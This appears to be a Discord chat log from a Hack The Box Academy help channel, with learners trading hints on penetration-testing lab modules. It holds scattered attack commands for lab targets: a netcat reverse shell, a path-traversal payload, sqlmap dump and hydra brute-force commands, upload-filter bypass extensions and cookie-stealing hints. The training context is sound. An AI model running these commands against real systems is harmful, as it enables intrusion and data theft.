"Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host."

So after getting the shell I use the command ls -la and saw listed directories and files and saw that vendor was the only directory listed. I used the command again ls -la vendor and only 2 directories where listed and .htaccess.

I have searched both these directories and "cat" the .htaccess file however no mention of the second and final flag. Can anyone give me a nudge in the right direction, i've been on this question for a couple of days now and just want to move on.
Thanks

[west canopy]

@carmine lark DM me 🙂

[safe leaf]

Going through web proxies and trying to figure out the url encoding / decoding segment, seems like it should be really straight forward, but I'm just not getting a meaningful flag

Look like I do a base64 decode initially due to the = at the end, the next few iterations look like they'd potentially be more base 64 (still have = at the end), but I end up with a string that doesn't seem to have any meaning, have tried all different combinations and looked at the hint and still not really getting anything reasonable

Nevermind, just need to go one more iteration deep apparently

[frail garden]

Helloo! Can i DM someone to help me with the last question of DNS on Footprint Module? What is the FQDN of the host where the last octet ends with "x.x.x.203"? I can't figure it out. EDIT: Solved!

[spark vector]

@frail garden What have you done to try to answer this question?

[acoustic owl]

You have to find all the zones.

[frail garden]

@spark vector I tried to query the zone with dig axfr. Also bruteforce subdomains

@acoustic owl i believe i have found all the zones but no luck finding the host with the .203 octet

[spark vector]

@frail garden focus on the keywords.

[short brook]

Hello, I require assistance on the 'Getting started' module. I am currently busy with "Pentesting basics/Public exploits".

I have tried to scan the given target with nmap, but it says the host seems down. I can search the ip in google and it gives me the website. What else do I have to do in order to find the running services?

[west canopy]

@short brook try navigating ||to the target:port in your browser with http protocol :)||

With Docker targets, typically nmap scans aren't necessary as there is just a single port open

and you can tell its a docker target when it spawns if it has a long port number after it

for example 10.129.7.40:30385

[short brook]

Ok so how do I find the running services on the website?

[west canopy]

look around

it will literally jump out in front of you

when you access the website 😉

maybe there is a way we can|| target the wordpress plugin being used...?||

[limber siren]

Hello, I'm currently doing web request module and For the last time I couldn't find server.php file in browser network, it wasn't there.. What might cause that? Am I doing something wrong? *I'm using HTB machine, not mine...

[raven cairn]

Could I have help with the LFI skills assesment? I was able to get to an admin panel, but I am having trouble with RCE

[twilit cipher]

Anyone around to help with:
Broken Authentication - Bruteforcing Cookies question 1 ???

[little burrow]

me too

[raven cairn]

Were you able to get to the admin panel?

[twilit cipher]

I have the cookie decoded and re-encoded, but it seems like there is some guess-work involved with the role???

[little burrow]

every attempt to poison the log file fails

[little burrow]

php wrap filter

[raven cairn]

@little burrow I'm not sure if this will help but I was able to find a log file at || ../../../../../../../../var/log/nginx/access.log ||

Going to try out a log poisoning attack

[little burrow]

me too 😦

but the access log doesn't log my user-agent

[raven cairn]

yeah I think I might be having the same issue

very tough skills assesment haha

[west canopy]

@raven cairn i might be able to help

[twilit cipher]

This guessing game is killing me....

[west canopy]

@twilit cipher i got you dawg

[vale salmon]

If someone has a moment and has done the Pivoting, Tunneling, and Port Forwarding module, could you shoot me a DM? I have some questions about the Meterpreter Tunneling & Port Forwarding section.

[viscid hamlet]

Wsg

[west canopy]

hit me up boo

[lyric echo]

Hey Yall! Can someone please help me out with File Inclusion assessment? I haver gotten as far as accessing both access/error log in admin panel, but nothing Im doing seems to be working including poisoning User-Agent and using wrappers

[lyric echo]

Hey jarednexgent! Would you be able to help me with LFI assessment as well?

[half junco]

Hi. Sorta new to HTB but got back into it after friends I reconnected with helped me get back into trying to learn via HTB Academy. Is there anyone who can help me understand SQL Injection Fundamental - Subverting Query Logic? I'm trying to figure out logging in as 'tom' instead of 'admin'. Not really looking for spoilers since I try to avoid cheating when I learn.

[west canopy]

YES

[half junco]

Just got it now. I feel dumb thanks to my overthinking. XD

[balmy cipher]

Hey anyone around to help with the file upload skill assessment? I am stuck trying to get a webshell and I keep getting: 'The image "URL" cannot be displayed because it contains errors.'

[vital adder]

i think you need to use a different extension

[balmy cipher]

I'm not so sure, I've tried every extension I can find: ||'.pht' '.phar' '.phtm ' '.phps' '.php' '.php2' '.php3' '.php4' '.php5' '.php6' '.shtml' '.php7' '.php8' '.phpt' '.pgif' '.phtml' '.shtml' '.htaccess' '.inc' '.pHp' '.pHar'||

[vital adder]

hint you need to use ||double extension|| also ||magic number||

[balmy cipher]

Yep using both of those already. ||I'm through the blacklist, whitelist, and content filters but my php code will not run||

[vital adder]

did you try ||(extensions).jpg|| with the ||jpg magic number||?

[little burrow]

Is everyone using the normal target server ? , I turned on target server and it seems to work only for a few seconds and then the website can't be loaded 😦

[echo willow]

need help with Active Subdomain Enumeration

[barren minnow]

Who’s very good at pen testing?

[rustic sage]

good morning i'm having some issues with the last question of the login brute forcing module... i used this command in order to brute force the password of the g.potter user but it's not retrieving any resaults and i don't get what i am missing.. hydra -l username -P rockyou-30.txt -u -f ftp://127.0.0.1 -t 4

[loud bone]

hello

[timber light]

Hi, looking for help for ATTACKING COMMON SERVICES - SQL section. i got the mssqlsvc password but when i tried to login using sqsh, its saying login failed mybad i am in

[barren minnow]

Why is there no directory

[loud bone]

have you tried the ls command ,just saying

[balmy moon]

Good Morning! Can I get an assist with the Footprinting Lab - Medium please? I have retrieved the sql creds, and I'm struggling with what to do.

[languid dawn]

id_rsa, if it exists, will be in the .ssh folder. Probably.

[inland condor]

hi

hi

anyone

[vital adder]

i recommend the tool suBF.sh for this that tool will brute force the by using the su command locally and it was make by the same guy that make linpeas so you can find it on his github

[tame atlas]

Hi person

[inland condor]

do you know hack

[tame atlas]

I'm not to good

gtg

[inland condor]

what do you hack

[languid dawn]

Hello, I'm not sure what your question is but keep in mind that we do have #rules
Also this isn't a discord to hire hackers.

[rich mulch]

====
Hello guys, I would like to find all files contain string "password", but I want to exclude not to find in specifi path such as C:\Windows. How I can do that?

I did try

findstr /SIM /C:"password" | findstr /v /i /C"\\Windows"

But it does not work. Any suggestions?

[barren minnow]

@loud bone yes I did

[loud bone]

oops i don't what you can do to that , have you like tried to put a / at the beginning

[tight mesa]

hi, anyone knows if in HTB is there any way to make a search filtered by subject like web, ad or something like this...!!!

[barren minnow]

@loud bone I think there’s no ssh directory

[timber light]

Hi, for ATTACKING COMMON SERVICES - DNS how do i get the bruteforce to work?

[acoustic owl]

With subbrute

[haughty jay]

Can anyone give me a hint on Broken Authentication -> Bruteforcing Cookies? I'm not able to decode the rememberme token

[acoustic owl]

Use Decodify

[gloomy tangle]

hey! yes 🙂

[haughty jay]

it gives me the same code as cyberchef.org gives

I don't know what to do with this wierd code

[acoustic owl]

DM

[rugged stag]

DM me if you still need help

[faint trellis]

AD Enumeration & Attacks - Skills Assessment Part II
Guys need your help with fixing an error within privileges escalation to SYSTEM on the SQL01 using the PrintSpoofler.exe.
Who knows whats wrong? How did you get this rid to receive a shell on your listener? Thanks for any help.

VERBOSE: 172.16.7.60,1433 : Connection Success.

output

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
CreateProcessAsUser() failed. Error: 2

[acoustic owl]

Did you use the 64bit version?

[faint trellis]

I'm not sure, it is PrintSpoofer.exe

[acoustic owl]

I used ||PrintSpoofer64.exe||

[faint trellis]

Well, it can be a reasonably. Thanks man!👍

[shadow willow]

Hello
can i reset my modules ? 😄

iam finish with the BBP but i want to do it again for the exam

[rugged stag]

If you find a way let me know. I want to do the same. I know there is a "Retake Module" button, but I don't know if that deletes the progress.

[west canopy]

i think that it does

[shadow willow]

hm
where

[rugged stag]

If you click on the finished modules, you get to a page where the "Retake Module" button is (where the shareable links are also)

Thanks, @west canopy , that one 😆

[shadow willow]

danm

do i have to click extra on the "finish" button in the module to come on this page ?

but well thx for that

[rugged stag]

Has anyone ever experienced changed behavior after respawning a machine? I just spent hours on an exercise and when I respawned the machine I noticed a slightly different request in burp, which made the solution easy. But before the respawn it behaved differently.

[west canopy]

which module/section specifically? I dont think i have encountered anything like this

besides the Starting Point machines buggin' out from time to time

I mean your browser is what makes the web request, not the target.

you might get a different response in burp. But different request, i think that is client side 😉

[rugged stag]

"PHP Filters" section in the "File Inclusion" module. It appeared as if the machine from another section was spawned. It was very similar (that's why I didn't notice it at first - I thought it was supposed to be that way), but the request was different.

Before respawn:
http://178.62.107.21:32468/index.php?language=languages/en.php

After respawn:
http://206.189.117.48:30013/index.php?language=en

Or maybe I did something wrong without noticing it. No idea.

[west canopy]

ah i see what u mean

[rugged stag]

The language selection on the website triggered these requests.

[short brook]

Hey, I am stuck at module "Getting started" 'pentesting basics/priviledge escalation'

I am logged in the server as user2, but do not know how to get to root

[west canopy]

@short brook take a look inside ||/root ||

specifically there is something we can do using|| ssh keys|| to help us escalate to root 😉

[candid sandal]

Guys, what does it mean when we don't receive any response to a request in Burp ?

[west canopy]

it means the server is hanging

or its executing your code 🙂

[foggy stirrup]

uhh

@west canopy do u happen to know which acc on MS01 i can log into using the creds from SQL01

[short brook]

I'm literally gonna cry. I don't understand ssh and the keys and whatnot

[foggy stirrup]

i ran ||lazagne|| and found the ||DefaultPassword||

[foggy stirrup]

what about ssh and keys do u not get

[west canopy]

@foggy stirrup the user should be ||mssqlsvc|| .... i think i dumped the password with ||lazagne|| but its kind of unclear in my notes... the password is in a weird format and kind of hard to see

[foggy stirrup]

SSH private keys are basically passwords u can use them to login

[foggy stirrup]

yeah this

i got this

but it cant login weirdly

[west canopy]

@foggy stirrup yes the password is hard to make out

sec ill DM you

[foggy stirrup]

sure thing

thx

[candid sandal]

I've been waiting for a long time and nothing :/

[short brook]

I understand that I can login with them, but howwwww????

[west canopy]

well ... if the server replies with a 200 then it's a success... and a 404 means the resource doesn't exist

what does it mean if we don't get a response from the server?

[foggy stirrup]

u pass it in as -i

[dire sentinel]

On attacking common services - DNS. Seen similar posts in here about finding one or MANY subs based on the tool used, im in the same boat. Found ||hr.inlanefreight.htb|| which seems to be the best lead, but unable to enumerate anything useful. A nudge would be appreciated 🙂

[short brook]

Bruuu, I'm new to this... What should I pass in where? Explain it slowly. If you can dm me

[foggy stirrup]

oh ok

il dm u

[candid sandal]

That's the thing, I am using the repeater to send a post request and when I click on 'send', nothing, no response. When I try the request manually with the browser, the server does respond so the problem doesn't seem to come from the server

[west canopy]

@short brook we want to make a copy of the id_rsa file so we can have one on our attack machine. From there, we can run chmod 600 against the id_rsa file, and then use it to SSH in as the root user.

[short brook]

How do I make a copy? I don't have permission as user2 to do anything

[west canopy]

DM me 😉

[flat silo]

So I'm on the web proxy module I need to locate the second flag I can see the root directory, since the clue is that the flag is in a different directory I know it's there but how do I get into it. I'm pretty sure I followed the breadcrumbs but just ended up back with the original flag

[west canopy]

can't we just|| cat /flag.txt|| ?

[flat silo]

For the first flag

[west canopy]

maybe|| flag.txt ||and|| /flag.txt|| are different...?

[flat silo]

Thank you

[timber hatch]

hi there
at the moment i'm at the module metasploit. the section encoders did really catch my attention...

at the end of this sections it is written: As expected, most anti-virus products that we will encounter in the wild would still detect this payload so we would have to use other methods for AV evasion that are outside the scope of this module.

Does Anybody know if there is another Module at htb academy who is going deeper into that field - encoders and eventually malware analysis?

[rustic sage]

Hi im working on the wordpress module for the skill asessment. I have gotten acess to the ||erika|| account but I cannot update the theme editor since I keep getting this error: Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means such as using SFTP.

Does anyone know how to fix this?

[acoustic owl]

Currently, to my knowledge, there are no such modules.

[barren minnow]

Who can help get my ssh key

[timber hatch]

ok thanks.
in this course they shared some links who explain SGN deeper.
there also other article who explain for example ramsomware in case somebody else is interested to learn more in that field, just explore these links ;)!

[short brook]

I have just learned this today. DM me and I'll help you

[faint trellis]

AD Enumeration & Attacks - Skills Assessment Part II
Who had faced with the following issue before while escalating privileges using PrintSpoofler.exe?

c:\Users\Public\nc64.exe 172.16.7.240 4444 -e cmd: forward host lookup failed: h_errno 11001: HOST_NOT_FOUND

[vale salmon]

Mind if I ask how you solved this issue? I am also running into it

[remote solar]

hey can someone please help me?
I cannot seem to figure out how to load this unsigned powershell module.
I try to use the set-execution policy directive but I don't understand what I am doing wrong ...

[stiff moon]

make sure you download the right one etc and check the proxy cfg file

https://github.com/jpillora/chisel/releases?

[stiff moon]

or else yeah go ahead and ask pm

[vale salmon]

Ah, cool, thanks! I have to run out, but I'll look into it more later.

[flat silo]

Can anyone point me in a direction with decoding the flag for the web proxy module. I'm running it through burp encoding it with url and base 64 as the hint said and I'm getting no where

[west canopy]

Maybe we have to ||base64 decode multiple times?||

EDIT: which section/question are you on?

[flat silo]

That's not working

I'm on encoding/ decoding the challenge states: the string found in the attached file has been encoded several times with various encoders. Try to use the decoding tools to get the flag. Hint use base 64 and url encoding. I've encoded the string with both multiple times. I've tried to decode the string with both i

[west canopy]

yes try base64 decoding multiple times

then switch to a different type of decoding 😉

[median bison]

I know its right in front of my face and im just missing it however, I need to do the scan for the Public Exploits module and I can not think of what I should use to scan it with. I know nmap only works for devices on your local network/vpn. What am I missing?

TLDR: How do you scan IP's that arent on your network again?

[west canopy]

try navigating to the target:port in your browser using http protocol

[ornate orbit]

Hello, I'm new to HTB and have newbie issues. I'm on the module HTTP Headers and I have found flag_...., but when I paste it into the answer section it says it is not right. Am I supposed to find a way to open the .txt file?

[west canopy]

make sure you don't have any formatting errors like a trailing space at the end

[ornate orbit]

Ok I will give it another shot after I get another instance tomorrow

[dense rock]

Doing the Setting Up module, I'm right at the end, hardening my VPS, but now that I'm trying to log back in after setting up 2FA I'm getting this error

Permission denied (publickey)

[west canopy]

can you undo the change ?

[dense rock]

Restoring sshd_config seems to fix it

[eternal sandal]

erm so that error is from ssh
make sure public key use is enabled + you have the right keys in authorized_keys

[hollow thunder]

can i dm u

[raven cairn]

Could I have help with the session security skills assesment?

I am confused what it is wanting me to do haha

I found an XSS endpoint -- was pretty easy

I also know how to do session hijacking with XSS.

[vital adder]

try to use some of the ||cookies stealing|| method show in that module after you got the url payload send to given api so the admin can click it

[raven cairn]

I guess my question is how do I submit my malicious url to admin?

I see the /submit-solution page

[vital adder]

with the given api

[vital adder]

yep that one

[raven cairn]

Something like this?

I'm probably really stupid but I really don't know how to send with the given api

[vital adder]

no there should be some instructions on that web page

[vital adder]

i think it's /submit-solution?url=(your payload)

[vital adder]

yep this one

[west canopy]

session security skill assessment had me geeking out for three days

when i finally got it i was so hyped

i may have dropped some F bombs

and claimed myself a god

[vital adder]

for the session security skill assessment i completely forgot about the api so i was stuck for a few hours trying to figuring out what to do next

[haughty jay]

Hi all, in the Skills Assessment - WordPress the error "Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP." its normal or i've just broke the machine?

or this is just not the way?

[raven cairn]

I don't remember the skills assesment being too difficult

Probably overthinking it

[west canopy]

there's a little twist

with the ||blog ||page

unless you set the vhost, then it looks like the target isnt wp

[haughty jay]

I already have the blog and the girls name and password

im triyng to get the payload working on the template

but wordpress gave me that error

changed the admin password and tried to login with admin and change the template but it wont let me

[vital adder]

try with themes instead of template

[haughty jay]

i tried on 404.php, archive.php, etc

[vital adder]

did you do that with the twenty nineteen theme?

[haughty jay]

can I dm you?

[vital adder]

sure

[raven cairn]

THanks Mrtom and Jarednexgent

Super close to finishing all CBBH modules

[west canopy]

heck yes

get some

[autumn elk]

Did you ever get the Advance File Disclosure to work?

With the Advanced File Disclosure did anyone have trouble with the CDATA or the Error based way to get the data?

[ornate orbit]

No dice, still didn't work

[vale salmon]

Did you ever find a fix for this?

[timber light]

Hi, just want to check for Attacking Common Services - Easy is the correct path to get the flag going through ||the sql and creating a webshell and then trying to get a reverse shell from there?|| Seems kind of over complicated to me. Maybe im just bad.

[hollow thunder]

The easy one feels like medium/hard and the medium one is really easy haha.

I know for that one there is two ways to solve it. There is a ||ftp route ||

[rustic sage]

do i HAve to keep it legal

[languid dawn]

Yes.

[unborn jewel]

I just finished the "getting started" module, and I wanted to verify for the Knowledge Check.. was it actually possible to recover the username/password ? I ended up solving it with help from metasploit, but I spent a week and a half trying to figure out how to manually tackle the task.

[timber light]

hi for downloading all files in ftp there is this command wget -m --no-passive ftp://anonymous:anonymous@<target> but how do i download all from non-standard port?

[languid dawn]

Read our #rules 7. Do not advertise.

[knotty crag]

sorry

[foggy stirrup]

yayyyy

we win these

[timber light]

Can anyone help me on Attacking Common Services - Hard the last part on flag.txt? kinda lost after almost the whole day. :<

[tame lantern]

Is the Username Brute Force module missing a username wordlist? I can't find the one they say to use and I've tried many different things.. I overcomplicate things often so I know that's likely the case here I'm just stuck.

JFC nevermind I'm stupid. By 'section' I thought they meant earlier on the same page.

[balmy moon]

Can I get a hand with the footprinting lab - hard? I am struggling with the SNMP walk.

[timber light]

i'm not sure if i remember this correctly but you can bruteforce it with ||onesixtyone and then braa||

[balmy moon]

Thanks @timber light. I tried and discovered that I'm not doint it right.

[brave prawn]

Can I DM someone about Chisel section in Tunneling, Pivoting and Port Forwarding module?

[fathom bay]

Hey, i am doing the footprinting module > the medium skill assesment lab. I managed to log in with a priviledged account but when i check the database its empty. am i missing something?

[balmy moon]

@fathom bay DM me

[vital adder]

hi i need some help with the Footprinting module DNS section last question i found 20 subdomain try to do a dns zone transfer with all of it and try the dnsenum tool show in that section with all 20 subdomain but no luck

[brave prawn]

If I can remember correctly, you need to enumerate subdomains of one of the found subdomains

[acoustic owl]

You need to find all the zones.
Remember that there are servers that do not allow zone transfer from everyone.

[candid sandal]

I'm a bit confused, do we necessarily need the VIP membership to start hacking some machines on HTB ?

[vital adder]

yep i'm trying this no luck

[vital adder]

ohh ok

[vital adder]

i'm confused about that too but no without vip you can only hack the machine or box that are live right now

[candid sandal]

So it is not possible to hack retired machine withou vip ? Here https://app.hackthebox.com/vip it says 2x Machines for the free plan and 190+ Machines for VIP

[vital adder]

no idea i think 2x Machines mean you can only access 2 retired machine maybe?

[candid sandal]

I think so, I tried to start the instance of the easy machine You know 0xDiablos and it worked, but for others it asks for the VIP subscription

[vale salmon]

Has anyone had, and found a fix for the libcrypto.so issue with ptunnel on the target machine in the Pivoting with ptunnel section?

[twilit bluff]

is hack the box crashed?

i'm trying to connect but it responds with bad gateway error

[edgy ibex]

yes looks like some webserver issue

[languid dawn]

It seems to be down just now, please just wait a couple minutes

[twilit bluff]

no problem it was just for info

[vital adder]

got it thanks @brave prawn @acoustic owl and i'm so dumb, i found the right subdomain but i can't do a dns zone transfer with it so i didn't even check that subdomain ip 🤣🤦‍♂️ got stuck for a good while

[flint agate]

Hello on the module Web proxies at Repeating Requests https://academy.hackthebox.com/module/110/section/1051
I don't know how to find the other flag. The hint says it is in another directory but how can I change directories from burpsuite?
I tried "cd .." but it dosen't work

[zenith schooner]

HI, anybody on Penetration testing process?
I think there is an error on a question: What is the name of the security regulation for credit card payments a company must adhere to?

[vital adder]

use ls to find the flag and use cat to get the flag you don't cd

[vital adder]

that question sounds familiar what the module?

and section

[flint agate]

if I ls it gives me the flag from the exercise before

I need to find another flag

[vital adder]

use ls with a different directory

[zenith schooner]

Penetetration Testing Proces. Section Post Explotation. Ask for Security regulation but the answer is almost the same under Framework.

[flint agate]

how can I do that ? Give a an example pls

[zenith schooner]

Ask for Security regulation but the answer is almost the same under Framework.

So, not sure if it is ok or I am wrong.

[vital adder]

oh i thought that was the web info module or something but sorry i haven't done that module yet but i'm sure someone have will help you on that

[vital adder]

ls (different directory) so example if you want to list file in /opt use ls /opt and pls do the linux module

[flint agate]

so I should try ls root for example ?
I know the commands but I am now learning burp sweet so it is a bit unusual

I did pwd and I am in /var/www/html.

[vital adder]

in burp you can just run normal linux command just url encode that with ctrl + U

[vital adder]

and yes try this

[flint agate]

I think I am doing some mistakes somewhere

[vital adder]

shoot me a dm if you still have issue that

[rustic sage]

pm me

[fading bough]

how can i dowload hackthebox

i checked the page and i could find the download link

[raven cairn]

I would help you, but you main Yasuo

🤣

[rustic sage]

^ so true

[short brook]

I just finished the Getting Started module. I feel so refreshed. Now Imma take a nap🤣

[raven cairn]

I remember that module being brutal for a beginner haha

Plus Nibbles is a horrible first box to do

[short brook]

It was awful yes, but atleast I learned something. Now I have to start with Network Enumeration with NMAP

[fading bough]

hopefully next year amd drop a 32 core cpu @ 8.6 Ghz

and all their cpu have a boost frequency of 8.6 Ghz

and some big cpus of 64, 128, 256, 512 cores

for server and work station

[fathom bay]

hey can anyone give me a nudge on how to start the footprinting hard lab? i did an nmap and only got an imap/pop3 server and i cant get anything out of it cause i think i need a login

[rigid minnow]

Could someone give me some help on DNS Footprinting on the last question What is the FQDN of the host where the last octet ends with "x.x.x.203"?"

[feral stump]

Dm me 😊

[novel yarrow]

Infrastructure is down? Machines not pinging

From vpn and pwnbox

[frigid summit]

Estakado#8719 has been warned

Reason: Mass mention

[wary river]

is there someone that can help me with the public exploits section of getting started?

[frail garden]

@rigid minnow DM me

[lethal atlas]

try snmp walk

[dire sentinel]

Attacking Common services - easy. Have creds for ||fiona||. Found the ||.txts in the mysql database and what they curl||. Based on past labs, this is a hint to put a ||reverse shell in one of the directory's in the .txts||. Have been unsuccessful in doing so, would appreciate a nudge :). Also tried to ||deliver payload via mysql for rev shell||, no bueno

[short brook]

Yes of course, DM me

[polar crag]

guys im trying to enum the user names in the Footprinting Module / SMTP

Downloaded the footprinting wordlist and using this command

||smtp-user-enum -M VRFY -U /home/kali/Desktop/footprinting-wordlist.txt -t 10.129.xx.xxx||

but it gives me 0 results

i even checked the next section and there is the answer so i modified my wordlist with just that name and tried again

still 0 results.

i dont get it

so the metasploit method worked fine

but i do not understand why the smtp-user-enum didnt wokred

[wary river]

thank you so much!

[shut orchid]

someone give me a paypal account with no balance to keep my money

😌 🙌

😎🌿🔥

[balmy moon]

Can I get help with the footprinting Lab - Hard. I have access to the db and having trouble with decryption. 🙃

[shut orchid]

someone send me windows xp

[stray grove]

if you check ||fiona|| user privilege you'll find she has ||FILE privilege|| means she can read local files with the command ||select LOAD_FILE("path to the file here");||

[stray grove]

for smtp-user-enum your command is missing the domain, needs to be added with ||-D <domain here>||

[ashen dagger]

Do I need a specific wordlist? I'm stuck

[stray grove]

what are you trying to decrypt? if you've access to the db what you're looking is on the ||users table||

[balmy moon]

The hashes I found in the db? Trying to get to the HTB, didn't find that but other creds...

[stray grove]

you don't need the hashes, once on the server you can list all databases available in there and use ||select * from users;|| you'll eventually find the pass

[balmy moon]

May I dm you?

[stray grove]

sure

[hollow thunder]

If im not getting scan results should i just reset the box

on attacking common services hard

[delicate needle]

dead

[fringe shell]

Hey, anyone here done the Linux PrivEsc Assessment? I've had to skip flag1 and after finding 2,3,4 i decided to circle back.

I've found the ||cat /var/www/html/flag1.txt entry in ./bash_history|| but the actual file doesn't exist.** Is this just a red herring? **

I've also used find / -name flag1.txt 2>/dev/null and the file can't be found.

[west canopy]

@fringe shell check for hidden files/folders 😉

[fringe shell]

@west canopy thanks for the help... privesc to root gave me less trouble than that dang flag

[vale salmon]

For Pivoting, Tunneling, and Port Forwarding with SocksOverRDP, I am having a spot of trouble. I have SocksOverRDP running on the connection with username:victor and I have Proxifier configured for 127.0.0.1:1080, but when I try to use mstsc.exe from the main target to connect to the final target, it keeps telling me the Remote Connection won't work, and it doesn't show up in Proxifier. What am I doing wrong? For serious? It didn't like me running mstsc.exe from an Administrator command prompt. 🙄

[slender jay]

Has anyone done the Footprinting module for the DNS challenges? Finding the FQDN that ends in x.x.x.203 has me stumped. I tried zone transferring to every subdomain and brute forcing with multiple word lists. Coming to a dead end tbh

[night pier]

Anyone able to help me out on Attacking Enterprise Networks Post Exploitation? I've got everything in place but no shell after running dc_shell.exe

[wide river]

Hi, im new to HTB and currently stuck at food printing FTP. The question is " Which version of the FTP server is running on the target system? Submit the entire banner as the answer." I thought it was "220 InFreight FTP v1.1" but it seems not correct. is there anyway to find the answer? thank you

[slender jay]

220 is a ftp status

*return code

[wide river]

so how can i get to the right answer

[slender jay]

I cant tell you that

[graceful parrot]

The same thing is happening to me, were you able to solve it?

[fringe shell]

I think you'll find it works if you get rid of the 220

[vale salmon]

Okay, I am stuck on Question 3 of the Skills Assessment for Pivoting, Tunneling, and Port Forwarding if someone has a moment.

[wide river]

it doesssss, thank you !!!

[stray grove]

what was the question again?

[vale salmon]

I found the credentials for ||mlefay|| and I thought I found the first internal server, from the webshell, at ||172.16.5.15|| but that seems to not be the answer to the question, so I'm not sure what I'm otherwise looking for, or where to go from here.

[stray grove]

have you run a ||ping sweep scan?|| if you did, you'll find another host on that network

[vale salmon]

See this is why I need to organize and maybe color code my notes. I thought I could only use msfconsole for that. I completely overlooked using code for it. Thanks.

Hmmm. It's tossing back ||ping: 172.16.5.{1..254}: Name or service not known||

[stray grove]

try the one liner command instead

[vale salmon]

This is what I used: ||for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done||

[stray grove]

try this ||for /L %i in (1 1 254) do ping 172.16.5.%i -n -w 100 | find "Reply"||

[vale salmon]

No dice. Doesn't give me anything. As a side note, I kinda hate this webshell.

[stray grove]

DM

[slender jay]

anyone can DM if they know, i spent too much time on it skipping it for now.

[west canopy]

DM me 😉

@vale salmon do you still need help with port forwarding skill assessment?

[vale salmon]

Not at the moment, but thanks!

[night pier]

Anyone able to help me out on Attacking Enterprise Networks Post Exploitation? I've got everything in place but no shell after running dc_shell.exe

[woeful oxide]

Hey guys

I cannot get the flag on the Server Side Attacks - SSTI I

I got the shell connected to the target but I don't understand how to access the environmental variables

[west canopy]

example 1,2, or 3?

[west canopy]

yes, the double hop messes up kerberos
https://academy.hackthebox.com/module/143/section/1573

[night pier]

Is there something more that needs to be done beyond all the commands the sections lays out?

[west canopy]

@night pier DM me 😉

[woeful oxide]

example one

I've tried using the shell and ||{{dump()}}||

[west canopy]

sec i will DM

[fathom mortar]

Hey Guys,
can anyone help me in the Module Password Attacks ?

[fathom mortar]

Im stuck at crackmapexec and the smb user
i enumerated the credentials and also the share, but when i make the ls command, it says status denied. And its the only free share. What am I supposed to do

[rustic sage]

Are you using an account that has read access to the share?

[oak summit]

i have the same problem

[dense ferry]

So is there any idea when the CPTS exam will actually be released?

[rustic sage]

Can anyone help with the Password attacks module - Password mutations?
The scans are running too slowly to be able to complete in the time the box gives you, both on my Kali VM and PWNBOX

[ancient prism]

hello

i am stucked at final section of SQL injection

can anybody help me to solve loginpage

[rustic sage]

have you got anywhere with it at all?

[ancient prism]

no

i am stucked at login page

i tried every possible pyloads but it fails

[rustic sage]

make sure you're not forgetting the space

[ancient prism]

yes i am sure

i not forget it but still not able to log in

[rustic sage]

The aim is not necessarily to login...

Hello! I'm stucked at Skill Assessment - Broken Authentication. Who can help me? I may explain my problem in private chat, because there may be many clues for others

[ancient prism]

but i think log in will help me

please give me something hint to log in

[rustic sage]

dm me what you have tried

[ancient prism]

i got it my ans

create my own paylod for it and get success

[ancient prism]

thanks for asking buddy

[rustic sage]

Good, took me a while to finish my password attacks module to be able to spin up that box to remember what I had to do

[ancient prism]

can i dm you when i stuck ?

[rustic sage]

You can, if I can remember or am not in the middle of another long scan I'm happy to help!

[proven brook]

Hello, i need help for the Attacking Common Services - Easy. What i already did: I found two txt files on the ftp server. I noticed that i can write and read files with MySQL. I also noticed in the docu that i have to put my files into \xampp\htdocs to excecute them. But i cant get my reverse shell working. Please i'm stuck for about 4 hours and i'm done Edit.: Did it. i used / instead of \

[flint agate]

Can you complete the Burp Intruder module using ZAP ?

[rustic sage]

I found 4 new users on Web App, but I cant make wordlist from rockyou.txt. Who can help me to make good wordlist?

[woven copper]

Did you identify the password policy ?

[ancient prism]

hey buddy i need your help

[rustic sage]

whats up?

[rustic sage]

Yes. I created command to make wordlist:
||sudo grep '^[[:upper:]]' 'rockyou.txt' | grep '[[:lower:]]'| grep '[[:digit:]]$' | grep -E '^.{20,}' | grep '[@#$]'||
14 passwords. and 4 usernames + support and guest. 6 usernames or more?

[violet geyser]

What does the OWASP Top 10 list name the classification for this vulnerability?

This is for Sequel Injection ive tried every classification and cannot seem to find the right one

Can anyone help

[rustic sage]

Which of the 10 listed vulnerabilities does SQL injection fall under?

[violet geyser]

Are u having the same issue

[rustic sage]

No, trying to give a hint

also make sure you are getting the answer from the correct source

[violet geyser]

Ok thank you

[nova thistle]

Hello, I'm quite confused on where to start from? In the academy, The first course i see is penetration testing process. However as im going thru it, it's giving me references of other modules within it. I'm confused whether if should complete those first (e.g networking a 6 hour different module) or carry on with this module

In short, where do I start from as I'm a neophyte

[rustic sage]

https://academy.hackthebox.com/module/details/15 or https://academy.hackthebox.com/module/77 would be a a good start, but just because it references another module does not mean you need to do that to complete the one you're on, just that it might give you a better understanding and go into more detail

[nova thistle]

Oh thank you i never got the getting started module or might have missed it

Also is there a certain guideline to follow for the modules?

[violet geyser]

Thanks figured it out now

[rustic sage]

I find it helps to select the tier you want, and also note they are not displayed in a particular order so look through and choose what you want to do next, some of the knowledge or career paths can help, but may not be limited to tier 0 if you are a free user

[brave prawn]

Hey, can I DM someone about Skills Assessment in Pivoting, Tunneling, Port Forwarding module?

[proven brook]

Hey mate, did you already solved Attacking Common Service - Medium?

[brave prawn]

yep

[proven brook]

can i dm you ?

[brave prawn]

sure

[vale salmon]

I ended up just having to use Pwnbox.

[oak summit]

@vale salmon great i may try that as well

[shrewd bolt]

Hi, is someone available for some help on the Skill Assessment of the module Linux Local Privilege Escalation? I got flags 1 through 4 and have a rough idea on how to get the fifth one but I can't understand if it does not work because of the type of shell I managed to create. Thanks

[dense ferry]

dm

[twilit bluff]

Hi, is someone available to help me on the final question of Getting started module web enumeration section

[twilit bluff]

solved

[rustic sage]

Sorry, i`m stucked...
sudo grep '^[[upper]]' 'rockyou.txt' | grep '[[:lower:]]' | grep '[[:digit:]]$' | grep -E '^.{20,}' | grep '[@#$]'
It's true command to generate wordlist ?
Skill Assessment - Broken Authentication

[graceful parrot]

||sqlmap -u http://159.65.89.165:31400/case7.php?id=1 --technique="U" --level=5 --risk=3 --dump --union-cols="1-5" --no-cast||

[lethal atlas]

